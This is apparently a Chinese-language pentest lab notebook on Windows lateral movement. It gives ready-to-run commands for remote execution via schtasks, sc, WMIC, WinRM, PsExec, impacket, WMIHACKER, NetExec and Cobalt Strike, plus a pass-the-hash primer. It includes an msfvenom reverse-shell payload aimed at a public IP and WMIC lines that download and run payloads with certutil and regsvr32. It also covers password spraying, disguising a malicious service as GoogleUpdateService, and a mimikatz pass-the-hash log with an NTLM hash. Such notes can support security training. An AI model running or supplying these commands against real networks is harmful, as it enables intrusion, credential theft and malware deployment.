	虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

Pasted image 20250827223810.png

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

Pasted image 20250827225539.png

4、创建定时任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码

# 虽然此时 IPC 已连接,但远程操作 10.10.10.20 还是需要验证。
schtasks /create /tn qiaoshen /s 10.10.10.20 /RU SYSTEM /tr "cmd.exe /c C:\temp\qiaoshen.exe" /sc minute /mo 1 /U administrator /p 1qaz@WSX

Pasted image 20250827230637.png

5、查看定时任务
# 切换编码
chcp 65001

# 查看目标主机上的计划任务
schtasks /query /s 10.10.10.20 /tn qiaoshen /U administrator /p 1qaz@WSX

需要 chcp 65001 才能查看
	不更改代码页编码,直接查看可能会显示如下错误:

Pasted image 20250827231329.png

Pasted image 20250827231151.png

Pasted image 20250827230351.png

CS 无法查看,因为 Cobalt Strike 无法 更改代码页编码。
	不是一个长效的 保持连接的TCP_Shell,而是心跳包发送每一个任务,并不能连续。

Pasted image 20250827231528.png

成功上线。

Pasted image 20250827230736.png

6、删除计划任务
schtasks /delete /tn qiaoshen /s 10.10.10.20 /f

schtasks /delete /tn qiaoshen /s 10.10.10.20 /u administrator /p 1qaz@WSX /f
IPC$ + SC - 服务
0、SC 简介
	sc 命令可以注册、删除和查询系统服务。
注意:
	服务的 payload 是特别的类型,是 exe-service 类型的,需要与 服务控制器 不断通信。

详情可参考:
	3提权 - Windows 提权 - 6)Windows 系统服务漏洞 - 2)可信任服务路径 - 4.生成 payload
# 本地系统启动时启动服务(binpath= 和 password= 后跟的空格 “ ” 是必须存在的,格式就是这样。)
sc \\10.10.10.20 create test binpath= "c:\xx.exe" password= 1qaz@WSX1

# 当 "mingy\administrator" 用户登录时启动服务
sc \\10.10.10.20 create test binpath= "c:\xx.exe" obj= "WEB\administrator" password= 1qaz@WSX1

# sc启动指定服务
sc \\10.10.10.20 start test

# sc停止指定服务
sc \\10.10.10.20 stop test
sc \\10.10.10.20 delete test

	注意:binpath设置选项 '=' 后面有一个空格
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX

Pasted image 20250827223318.png

Pasted image 20250827223400.png

2、上传 payload
# 胜场payload(MSF)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=120.55.169.128 lport=4205 -f exe-service -o qiaoshen_service.exe

# 上传 payload
copy C:\temp\qiaoshen_service.exe \\10.10.10.20\C$\temp\qiaoshen_service.exe

Pasted image 20250827233930.png

	虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

Pasted image 20250827223810.png

3、创建服务
# sc 创建服务
sc \\10.10.10.20 create GoogleUpdateService binPath= "C:\temp\qiaoshen_service.exe" displayname= "displayname_nothingjustdisplay" start= auto

# sc 查询服务信息
sc \\10.10.10.20 qc GoogleUpdateService

Pasted image 20250827234454.png

Pasted image 20250827234954.png

4、启动服务
sc \\10.10.10.20 start GoogleUpdateService

Pasted image 20250827234540.png

成功上线。
	服务启动默认是 SYSTEM 权限。

Pasted image 20250827234606.png

5、停止、删除服务
# 停止
sc \\10.10.10.20 stop GoogleUpdateService

# 删除
sc \\10.10.10.20 delete GoogleUpdateService

Pasted image 20250827234800.png

2)WMIC

WMIC 简介

	WMI:(Windows Management Instrumentation Windows 管理规范),是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI 的语法十分简单,基本上常见的命名空间、对象的用法几乎一模一样。它对应的是 Windows 里的 WMI 服务(winmgmt)。

		在 Windows 2000 之后的操作系统中内置了该服务。WMI 使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM 中使用类表示管理对象,命名空间是一个类的集合。
	
		通过使用 135 端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
而 WMIC 就是为 WMI 提供的命令行界面。
	详细参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic

使用条件

    1. Windows Management Instrumentation 服务开启,端口TCP 135,默认开启。
    1. 防火墙允许 135、445 等端口通信。

利用

0. 注意
1)必须指定账户及密码 且 必须是 administrator 账户
远程操作的时候必须指定 管理员账户密码,即使连接了 IPC,依然需要指定账户密码才可以。
	且必须是管理员 administrator,即使是 administrators 组当中的其他成员都不可以。

Pasted image 20250827235810.png

Pasted image 20250827235919.png

2)格式必须规范
wmic /node:IP /user:username /password:password command

wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief
	绝不能写成:
		wmic /node:10.10.10.20 useraccount list brief /user:administrator /password:1qaz@WSX - 报错
3)WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"

	但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。

	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"

Pasted image 20250828000530.png

1. 查询进程信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process list brief

Pasted image 20250827235603.png

2. 查看用户信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief

Pasted image 20250828001115.png

2. 利用create创建进程
wmic process call create /?

wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c C:\temp\qiaoshen.exe"

# WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"

	但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。

	wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"

Pasted image 20250828001541.png

Pasted image 20250828001526.png

Pasted image 20250828000530.png

如果出现 “User credentials cannot be used for local connections”,应该是调用 calc.exe 程
序权限不够的问题。

如果出现 “Description = 无法启动服务”,原因可能是已被禁用或与其相关联的设备没有启动,判断 WMI 服务被禁用。

wmic 命令缺点是没有回显,可以使用 wmiexec.vbs 脚本实现回显。
4. 下载远程文件并执行
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.30:8000/qiaoshen.exe C:/Windows/Temp/qiaoshen.exe & C:/Windows/Temp/qiaoshen.exe"

wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"

Pasted image 20250828002237.png

Pasted image 20250828002244.png

3)WinRM

WinRM 简介

	WinRM 指的是 Windows 远程管理服务,通过远程连接 WinRM 模块可以操作 Windows 命令行,默认监听端口 5985(HTTP)和 5986 (HTTPS),在 2012 及以后默认开启。

使用条件

需要目标主机开启 WinRM 服务 并 设定好信任主机(可以让其他主机进行进行远程操作)

利用

1、判断本机是否开启 WinRM 服务
winrm enumerate winrm/config/listener

Pasted image 20250828002814.png

以下是未开启的

Pasted image 20250828002833.png

Pasted image 20250828002953.png

netstat -ano | findstr 5985

wmic service list brief | findstr WinRM

Pasted image 20250828002938.png

特殊情况

Pasted image 20250828003143.png

winrm enumerate winrm/config/listener → 没有任何输出
	👉 说明没有配置监听器(不管是 HTTP:5985 还是 HTTPS:5986)。



netstat -ano | findstr 5985 / 5986 → 没有结果
	👉 说明 5985、5986 端口没有在监听。



wmic service list brief | findstr WinRM →
	0   WinRM   548   Auto   Running  OK

	👉 说明 WinRM 服务本身是启动的(自启动 + 正在运行)。
2. 结论
	WinRM 服务在本机是运行的 ✅
	
	但没有监听器 ❌(所以外部没法连,netstat 也看不到 5985/5986)
	
	因此严格来说,还不能算真正开启可用的 WinRM 远程管理
3. 怎么让它真正“开启”

	只需要在目标机上执行:
		winrm quickconfig


它会:
	设置 WinRM 服务为自动启动并立即启动(你这里已经是了)。
	
	创建一个默认的 HTTP://*:5985 监听器。
	
	配置防火墙规则允许 5985 流量。

	之后你再跑:
		winrm enumerate winrm/config/listener

	就会看到类似:
		Listener
			Address = *
			Transport = HTTP
			Port = 5985
			...

再用 netstat -ano | findstr 5985 也会看到监听。

Pasted image 20250828003507.png

👉 意思就是:WinRM 服务虽然能启,但是 防火墙例外规则不会自动生效,因为当前网卡配置成了 Public 网络。

	Windows 默认策略:
		Domain 网络 和 Private 网络 → winrm quickconfig 会帮你放开防火墙(5985)。
		
		Public 网络 → 出于安全考虑,不会自动放开。

解决方法:
	方法一:直接把网络类型从 Public 改成 Private
		打开 PowerShell(管理员)执行:
			Get-NetConnectionProfile

		找到你的网卡(比如 "Network")。
		
			修改为专用网络:
				Set-NetConnectionProfile -Name "Network" -NetworkCategory Private


		然后重新执行:
			winrm quickconfig

		这时就会自动放开 5985 防火墙规则。

方法二:手动放开防火墙(不改网络类型)

	如果不想改网络属性,直接放规则就行:
		netsh advfirewall firewall add rule name="WinRM HTTP" dir=in action=allow protocol=TCP localport=5985
		netsh advfirewall firewall add rule name="WinRM HTTPS" dir=in action=allow protocol=TCP localport=5986

		然后重新执行:
			winrm quickconfig

方法三:禁用防火墙(测试环境临时用)
	netsh advfirewall set allprofiles state off
		👉 不推荐生产环境用,太暴力。
2、命令开启 WinRM 服务
winrm quickconfig

Pasted image 20250828004154.png

Pasted image 20250828004234.png

3、允许远程主机访问及访问远程主机
# WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

Pasted image 20250828004408.png

4、Winrs 执行命令
winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX whoami

winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX ipconfig

Pasted image 20250828004559.png

Pasted image 20250828004456.png

5、WinRM横向移动
1)利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

	# 无效
	winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

Pasted image 20250828011019.png

Pasted image 20250828011028.png

2)在远程机器上打开进程
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

	# 无效
	winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

Pasted image 20250828004945.png

Pasted image 20250828004955.png

3)在远程机器上 创建 并 运行 服务
# 创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="qiaoshen";DisplayName="qiaoshen_display";PathName="C:\temp\qiaoshen_service.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

# 运行服务
winrm invoke StartService wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX

# 删除服务
winrm invoke Delete wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
StartService() 方法返回值对照表
---------------------------------
0 = 成功
2 = 服务已经在运行
3 = 服务不可用
5 = 服务控制被拒绝
7 = 服务启动失败
10 = 服务已被禁用

Pasted image 20250828011341.png

Pasted image 20250828011351.png

2. 外部工具

内部工具都被禁用无法帮助我们 横向移动 的时候,我们可以使用以下的这些 外部工具 来帮助我们 强制内网横移 成功。

1)psexec

工作原理

1. PsExec 主要依赖以下协议和服务:
  • SMB 协议(445 端口):用于文件共享和通信。
  • ADMIN$ 共享:默认的管理共享。
  • 服务控制管理器(SCM):用于创建和管理服务。
2. 认证阶段:
  • 通过 SMB 协议与目标建立连接。
  • 使用提供的凭据进行 NTLM 认证(支持明文密码和哈希传递)。
3. 文件传输阶段:
  • 通过 ADMIN$ 共享(C:\Windows)上传 PsExec 的临时组件:
    • PSEXESVC.exe:服务端组件
    • PSEXESVC.dll:辅助 DLL 文件
4. 服务创建阶段:
  • 通过服务控制管理器(SCM)创建临时服务: sc \\目标 create PSEXESVC binpath= "C:\Windows\PSEXESVC.exe"
  • 服务类型设置为"交互式进程"(允许 UI 显示)
5. 命令执行阶段:
  • 启动创建的服务
  • PSEXESVC.exe 作为服务运行后:
    • 建立命名管道(.\pipe\PSEXESVC)进行通信
    • 执行指定的命令或启动交互式会话
6. 清理阶段(默认行为):
  • 命令执行完成后自动删除服务
  • 移除临时文件(PSEXESVC.exe 和 PSEXESVC.dll)

使用条件

  1. 对方主机开启了 ADMIN 共享,如果关闭了 ADMIN 共享,会提示:找不到网络名

  2. 防火墙允许 445 端口的 SMB 通信。

  3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝访问。

  4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

A. PsExec.exe

	PsExec 是微软 Sysinternals 套件中的一个强大工具,用于在远程 Windows 系统上执行命令或启动交互式会话。它被广泛用于系统管理、渗透测试和横向移动。

PsExec 是 Sysinternals Suite 的一部分,可以从微软官网免费下载:
	https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec

注意:
	第一次运行会弹框 PsExec License Agreement,输入 –accepteula 这个参数就可以绕。

Pasted image 20250828012300.png

Pasted image 20250828011545.png

如果出现找不到网络名,判断目标主机已禁用 ADMIN$ 共享
基本语法
PsExec \\目标计算机 [-u 用户名] [-p 密码] [选项] [命令]
常用选项
选项描述
-u指定用户名
-p指定密码
-s以系统账户运行
-i运行程序并显示其UI(如果有)
-d不等待程序终止
-c将指定程序复制到远程系统执行
-h如果目标系统支持,以提升的权限运行
-accepteula自动接受许可协议
利用
1. 开启远程交互式命令行 - cmdShell
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s cmd.exe -accepteula

Pasted image 20250828012955.png

Pasted image 20250828012424.png

2. 在远程计算机上执行命令 - 命令执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s whoami

PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s ipconfig

Pasted image 20250828013039.png

Pasted image 20250828012829.png

3. 建立 IPC 连接后,使用 PsExec 无需输入密码
# 建立 IPC 连接。
net use \\10.10.10.20\ipc$ /user:administrator 1qaz@WSX

# 目标主机 - 命令执行
PsExec.exe \\10.10.10.20 whoami -accepteula

# 获得 目标主句 CMD_Shell
PsExec.exe \\10.10.10.20 -s cmd.exe -accepteula

Pasted image 20250828013310.png

4. 从本地复制文件到远程执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s C:\temp\qiaoshen.exe

-c <[路径]文件名>: 拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

Pasted image 20250828013806.png

Pasted image 20250828013818.png

B. impacket-psexec

impacket 简介
	Impacket 是一个功能强大的 Python 网络协议工具包,广泛用于渗透测试、红队行动 和 网络安全研究。它实现了多种 Windows 协议(如 SMB、MSRPC、LDAP、Kerberos 等),并提供了一系列攻击模块,用于凭证窃取、横向移动、权限提升和域渗透。

python:
	https://github.com/fortra/impacket

exe:
	https://github.com/maaaaz/impacket-examples-windows
impacket套件中的psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性

Pasted image 20250828015929.png

利用
1. 交互式命令行
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] -codec gbk

-codec: 中文是 gbk 编码,指定 gbk 编码就不会乱码了。

Pasted image 20250828014435.png

2. 直接执行命令
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] whoami -codec gbk

proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] ipconfig -codec gbk

注意:
	命令必须放在 "-codec gbk" 前面。

Pasted image 20250828014826.png

C. impacket-smbexec

impacket-smbexec 简介
impacket 套件中的 smbexec 是一款基于 psexec 的域渗透测试工具,类似 psexec,通过 SMB 执行命令。
	就是 impacket 套件当中的一员。
```QiaoShen
![Pasted image 20250828020128.png](/upload/Pasted%20image%2020250828020128.png)

##### 利用

```QiaoShen
# 直接获得 cmd-Shell
proxychains4 -q python3 smbexec.py administrator:1qaz@[email protected] -codec gbk

# 执行命令
	smbexec.py 不能执行命令,只能直接 getshell。

Pasted image 20250828020212.png

2)wmiexec(更加推荐)

A. impacket-wmiexec

wmiexec 简介
WMIEXEC 是基于 Windows Management Instrumentation (WMI) 的远程命令执行工具,常用于 内网渗透 和 横向移动。
	它是 Impacket 套件 的一部分(wmiexec.py),也可在 Metasploit(psexec over WMI)和 Cobalt Strike 中使用。

主要特点:
	- 无文件落地(大部分操作在内存中完成)
	- 使用合法 WMI 协议(不易被传统防火墙拦截)
	- 支持 NTLM/Kerberos 认证(适用于域环境)
	- 隐蔽性强(相比 psexec,日志记录较少)

Pasted image 20250828020739.png

工作原理
WMIEXEC 通过 WMI(Windows Management Instrumentation)远程执行命令,核心流程如下:
(1)建立 WMI 连接
	认证:使用提供的凭据(用户名/密码、NTLM 哈希、Kerberos 票据)连接目标机器的 135 端口(RPC) 和 445 端口(SMB)。
	初始化 WMI 会话:通过 DCOM(Distributed COM) 协议与 WinMgmt 服务交互。

(2)创建 WMI 进程
调用 Win32_Process 类:使用 WMI 的 Create 方法在目标机器上创建进程(如 cmd.exe /c whoami)。
执行命令:
	标准输出 
		通过 SMB 共享(ADMIN$ 或 C$) 返回
	错误输出 
		写入临时文件(如 C:\Windows\Temp&lt;随机名&gt;.tmp)

(3)清理痕迹
	删除临时文件(部分工具可配置不删除)
	关闭 WMI 会话
利用
1. 在远程主机执行命令 - 命令执行
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] whoami -codec gbk

Pasted image 20250828020817.png

2. 获得交互式命令行 - cmdShell
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] -codec gbk

Pasted image 20250828021028.png

B. WMIHACKER

WMIHACKER 简介
	常见的 WMIEXEC、PSEXEC 执行命令是创建服务或调用 Win32_Process.create 执行命令,此工具通过 135 端口进行命令执行,读取执行结果以及进行文件传输时无需 445 端口,通过把执行结果写入注册表中,然后进行读取。

项目地址:
	https://github.com/rootclay/WMIHACKER

主要功能:命令执行、文件上传、文件下载
核心特点:无需 445 端口开放。
利用
cscript //nologo WMIHACKER_0.6.vbs

Pasted image 20250828021428.png

1. 有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo" 1

Pasted image 20250828022111.png

2. 无命令回显
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo > c:\1.txt" 0

Pasted image 20250828021625.png

Pasted image 20250828022145.png

3. 模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 10.10.10.20 administrator "1qaz@WSX"

Pasted image 20250828023338.png

4. 文件上传
# 复制本机 C:\temp\qiaoshen.exe 到远程主机 C:\Windows\temp\qiaoshen.exe

cscript WMIHACKER_0.6.vbs /upload 10.10.10.20 administrator "1qaz@WSX" "C:\temp\qiaoshen.exe" "C:\Windows\Temp\qiaoshen.exe"

很奇怪的一点在于无法执行 - 执行了以后没反应、没效果:
	# 无命令回显执行 payload
	cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 0
	
	cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 1
	
	cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "start C:\Windows\Temp\qiaoshen.exe" 1

Pasted image 20250828022744.png

5. 文件下载
# 下载远程主机 C:\1.txt 到本地 C:\temp\1.txt

cscript WMIHACKER_0.6.vbs /download 10.10.10.20 administrator "1qaz@WSX" "C:\temp\1.txt" "C:\1.txt"

Pasted image 20250828023309.png

3)NetExec

NetExec 简介

	项目简介:NetExec(原名 CrackMapExec,简称 NXC)是一款功能强大的 网络渗透测试与红队工具,专为 Windows 活动目录(AD) 环境的安全评估和攻击设计。它支持多种协议(如 SMB、WinRM、LDAP、MSSQL 等),能够执行 凭证爆破、横向移动、权限提升、信息收集 等操作,是红队和渗透测试人员的常用工具。

项目地址:
	https://github.com/Pennyw0rth/NetExec
	
	参考文档:
		https://www.netexec.wiki/

Pasted image 20250828023857.png

利用

VPS 有点问题,用 Kali 的,Kali 自带了 nxc。

Pasted image 20250828023952.png

1、内网信息收集
# 密码喷洒
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth

# 扫描 SMB 共享
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth --shares

Pasted image 20250828024415.png

2、横向移动
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method smbexec --local-auth -x whoami

proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method mmcexec --local-auth -x whoami

proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami

Pasted image 20250828024514.png

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami

proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec-event --local-auth -x whoami

Pasted image 20250828024559.png

winrm
netexec winrm 10.10.10.20 -u administrator -p 1qaz@WSX --local-auth -x whoami

netexec winrm 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth -X "Get-Process"

Pasted image 20250828024651.png

上传文件
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x "dir C:\windows\temp\qiaoshen.exe"

# 上传
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --put-file /root/tmp/payload/qiaoshen.exe windows\\temp\\qiaoshen.exe --local-auth

注意:
	默认上传到目标服务器会自动带上 C$,因此直接写 C$ 后的路径即可,否则报错。

Pasted image 20250828025525.png

下载文件
下载文件同理

netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --get-file windows\\temp\\qiaoshen.exe /root/tmp/qiaoshen.exe --local-auth

Pasted image 20250828025823.png

执行文件
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX -x 'C:/Windows/temp/qiaoshen.exe' --local-auth

Pasted image 20250828025930.png

Pasted image 20250828025939.png

4)Cobalt Strike

	需要是 administrator 权限,因为都是利用的 psexec 这种利用了 Pipe、IPC 管道的,都需要 administrator 权限才可以 远程连接控制。

1、凭据获取

前面章节写了,看前面。
hashdump

logonpasswords

Pasted image 20250828030212.png

Pasted image 20250828030223.png

2、扫描存活主机

前面章节写了,看前面。

3、横向移动

1、创建 SMB 监听器
Pipename - 管道名 - 自定义。

Pasted image 20250828030342.png

2、Jump - psexec

Pasted image 20250828030511.png

Pasted image 20250828030722.png

3、上线
因为 psexec 的手法,利用的服务创建的方式,横移后上线的也直接就是 SYSTEM 系统高权限。

Pasted image 20250828030950.png

# 核心本质解析

rev2self
# 还原token令牌

pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"

jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload






beacon> rev2self
[*] Tasked beacon to revert token

beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command

beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
 | PID 4012
 | TID 1172
 | LSA Process is now R/W
 | LUID 0 ; 6146101 (00000000:005dc835)
 \_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
 \_ kerberos - data copy @ 000000000161E8E8
 \_ aes256_hmac -> null 
 \_ aes128_hmac -> null 
 \_ rc4_hmac_nt OK
 \_ rc4_hmac_old OK
 \_ rc4_md4 OK
 \_ rc4_hmac_nt_exp OK
 \_ rc4_hmac_old_exp OK
 \_ *Password replace @ 0000000001B4C668 (16) -> null
```QiaoShen
##### psexec、psexec64 和 psexec_psh 区别

###### 1. psexec (传统PsExec)
- 实现方式:使用服务控制管理器(SCM)创建 Windows 服务。
- 特点:
	- 上传服务 二进制文件 到目标主机(默认位置:ADMIN$\system32\ )
	- 需要管理员权限。
	- 会在目标系统创建服务项(默认名称随机)。
	- 执行后自动清理服务。
- 适用场景:
	- 稳定的内网环境。
	- 需要可靠执行的情况。
	- 目标系统未开启防御措施。

###### 2. psexec64 (64位版本)
- 实现方式:与psexec相同,但使用 64位 payload。
- 特点:
	- 专为 64位 系统设计。
	- 避免 32位 进程在 64位 系统上的兼容性问题。
	- 其他特性与传统 psexec 相同。
- 适用场景:
	- 目标系统是 64位 Windows。
	- 需要避免 WOW64 重定向问题。

###### 3. psexec_psh (PowerShell版本)
- 实现方式:使用PowerShell远程执行。
- 特点:
	- 无文件落地(完全在内存中执行)
	- 依赖 PowerShell Remoting (WinRM)
	- 需要目标启用 PSRemoting (5985/5986端口)
	- 更隐蔽,但依赖系统配置。
- 适用场景:
	- 需要规避传统检测机制。
	- 目标系统已配置PowerShell Remoting。
	- 需要避免文件写入的操作。

| 特性   | psexec  | psexec64    | psexec_psh          |
| ---- | ------- | ----------- | ------------------- |
| 实现方式 | 服务创建    | 服务创建 (64 位) | PowerShell Remoting |
| 文件落地 | 是       | 是           | 否                   |
| 权限要求 | 管理员     | 管理员         | 管理员                 |
| 依赖组件 | SCM     | SCM         | WinRM/PowerShell    |
| 隐蔽性  | 低       | 低           | 高                   |
| 适用系统 | 32/64 位 | 64 位优先      | 32/64 位             |
| 日志记录 | 服务日志明显  | 服务日志明显      | PowerShell 日志       |
| 端口需求 | 445     | 445         | 5985/5986           |

## 3. PTH

```QiaoShen
其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
	可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
	PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。

	是域环境当中 横向移动的 核心方法。
		但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
			只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。

攻击原理

1. NTLM认证机制:

  • Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
  • 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。

2. 哈希重用特性:

  • 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
  • 攻击者获取的哈希值可在整个域环境中重用。

3. 协议设计缺陷:

  • NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
  • 服务器无法区分哈希值是来自合法计算还是被窃取的。

前提条件

1. 获取有效的密码哈希值

  • 必须已获取目标用户的 NTLM 或 LM 哈希值

  • 常见获取方式:

    1. 内存提取(如LSASS进程)
    2. SAM数据库提取
    3. 域控制器上的NTDS.dit文件
    4. 网络嗅探NTLM认证流量

2. 目标系统使用NTLM认证

  • 目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效

  • 常见支持NTLM的服务:

    1. SMB文件共享
    2. RDP远程桌面(需特殊配置)
    3. Windows远程管理(WinRM)
    4. IIS Web应用(配置NTLM认证时)

3. 网络可达性

  • 攻击者必须能够通过网络访问目标系统

  • 相关端口必须开放:
    SMB: 445/TCP
    RDP: 3389/TCP
    WinRM: 5985/5986(TCP)

    任意一个开启即可尝试 PTH。

4. 账户权限

  • 使用的哈希值对应的账户在目标系统上需要有足够的权限

  • 常见有效目标账户:

    1. 本地管理员组成员
    2. 域管理员组成员
    3. 具有远程登录权限的账户

